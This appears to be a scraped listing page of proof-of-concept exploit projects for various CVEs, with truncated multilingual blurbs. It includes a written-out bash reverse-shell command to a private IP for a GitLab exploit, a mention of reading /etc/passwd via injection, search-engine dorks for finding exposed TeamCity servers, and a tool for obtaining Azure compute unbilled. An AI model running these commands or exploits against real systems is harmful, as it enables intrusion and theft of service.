CVE-2019-0192

CVE-2019-0192 - Apache Solr RCE 5.0.0 bis 5.5.5 und 6.0.0 bis 6.6.5 Dies ist ein früher PoC des Apache Solr RCE Von https://issues.apache.org/jira/browse/SOLR-13301: Die ConfigAPI ermöglicht es, Solrs JMX-Server über eine HTTP-POST-Anfrage zu konfigurieren. Indem man sie auf einen bösartigen...

CVE-2022-0944

CVE-2022-0944 Ein Proof-of-Concept-Exploit für SQLPad RCE CVE-2022-0944 Verwendung root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker Serverseitige Template-Injection POC für VMware CVE-2022-22954 Verwenden Sie diese einzeilige GET-Anfrage!! Dadurch wird cat /etc/passwd ausgeführt...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809-aka The Little Boy - POC La poc per la RCE di CVE-2022-26809 via RPC verrà aggiornata qui. Stiamo identificando il codice vulnerabile e condivideremo qui la RCE più semplice con un solo clic...

CVE-2024-27198-RCE

Cyberspace-Mapping-Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" Verwendung Ich verwende Python3.9. root@kitploit: pip install requests urllib3 fak...

cve-2020-11651

CVE-2020-11651 Este é um POC para o CVE-2020-11651, que obtém RCE pré-autenticação em um master do Salt Stack e/ou todos os minions associados. Alguns detalhes leves sobre o problema estão aqui. POC para 2020-11652 não incluído. Isso obtém execução de comandos no master criando um runner de...

Blackash-CVE-2025-55182

🚨 CVE-2025-55182 — Kritische React-Server-Sicherheitslücke 🧠 Was es ist ⚛️ Ein kritischer Sicherheitsfehler in React Server Components RSC 🧨 Verursacht durch unsicheres Deserialisieren 🌐 Ausnutzbar über Netzwerkanfragen 🔓 Keine Authentifizierung erforderlich ☠️ Kann zu Remotecodeausführung RCE...

CVE-2018-7600-Drupal-RCE

CVE-2018-7600-Drupal-RCE...

cve-2006-6184

CVE-2006-6184 Dies ist ein eigenständiger Exploit auf Python-Basis für CVE-2006-6184. Dieser Exploit löst einen stack-basierten Pufferüberlauf im Allied Telesyn TFTP Server AT-TFTP 1.9 und möglicherweise früheren Versionen aus, der es entfernten Angreifern ermöglicht, einen Denial-of-Service zu...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versione di test Costruzione del comando per generare lo sfruttamento root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Utilizzo di djvumake per generare l'immagine di sfruttamento...

CVE-2022-26134

CVE-2022-26134 PoC Confluence Server e Data Center - CVE-2022-26134 - PoC della vulnerabilità critica di esecuzione remota di codice non autenticata Gravità Atlassian valuta il livello di gravità di questa vulnerabilità come critico, secondo la scala pubblicata nei livelli di gravità di Atlassian...

CVE-2021-44228

CVE-2021-44228 log4shell POC Strumento di scansione log4j Questo strumento ti aiuterà a identificare la vulnerabilità di esecuzione remota di codice log4j sui tuoi sistemi. Requisiti Dovrai installare httpx, subfinder, assetfinder, curl e amass per eseguire lo script bash. Installazione 1. Clona...

CVE-2021-27928-POC

CVE-2021-27928 POC Descrizione È stato scoperto un problema di esecuzione remota di codice in MariaDB 10.2 precedente alla 10.2.37, 10.3 precedente alla 10.3.28, 10.4 precedente alla 10.4.18 e 10.5 precedente alla 10.5.9; Percona Server fino al 2021-03-03; e la patch wsrep fino al 2021-03-03 per...

scanner-for-CVE-2025-55182-vulnerability

🛡️ GitHub-Schwachstellenscanner für CVE-2025-55182 React/Next.js RCE Dieses Python-Skript scannt alle deine öffentlichen und privaten GitHub-Repositorys nach Abhängigkeiten, die potenziell von CVE-2025-55182 betroffen sind einer kritischen Remote-Code-Execution-Schwachstelle, die bestimmte...

CVE-2025-47812

CVE-2025-47812 Questa è una Proof of Concept PoC dell'exploit di Wing FTP Server CVE-2025-47812 Descrizione Le versioni di Wing FTP Server precedenti alla 7.4.4 presentavano una vulnerabilità di Remote Code Execution RCE dovuta al trattamento non sicuro del parametro username. Quando è consentito...

CVE-2019-17571

CVE-2019-17571/Apache Log4j 1.2.X presenta una vulnerabilità di esecuzione remota di codice tramite deserializzazione Link di riferimento per l'avviso di vulnerabilità: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ 1. Descrizione della vulnerabilità Apache Log4j è uno strumento di...

CVE-2013-3214

CVE-2013-3214 vTiger 5.4.0 Caricamento arbitrario di file per esecuzione di codice remoto...

CloudMiner

CloudMiner Esegui codice all'interno del servizio Azure Automation senza essere addebitato Descrizione CloudMiner è uno strumento progettato per ottenere potenza di calcolo gratuita all'interno del servizio Azure Automation. Lo strumento utilizza il flusso di caricamento dei moduli/pacchetti per...

CVE-2026-5706

Silicon Labs Bluetooth Mesh SDK version 6.1.4 and earlier is affected by a buffer overflow when processing malformed extended advertisements . The out-of-bounds write corrupts the stack, potentially enabling remote code execution . Exploitation requires the malicious message to originate from a d...

CVE-2026-5706 Buffer overflow in Bluetooth Mesh SDK when handling extended advertisements

In Bluetooth Mesh SDK 6.1.4 and earlier, malformed extended advertisements can trigger out-of-bounds writes leading to stack corruption and remote code execution. These messages must come from a device that has already joined the network. Only provisioners supporting extended advertisements may b...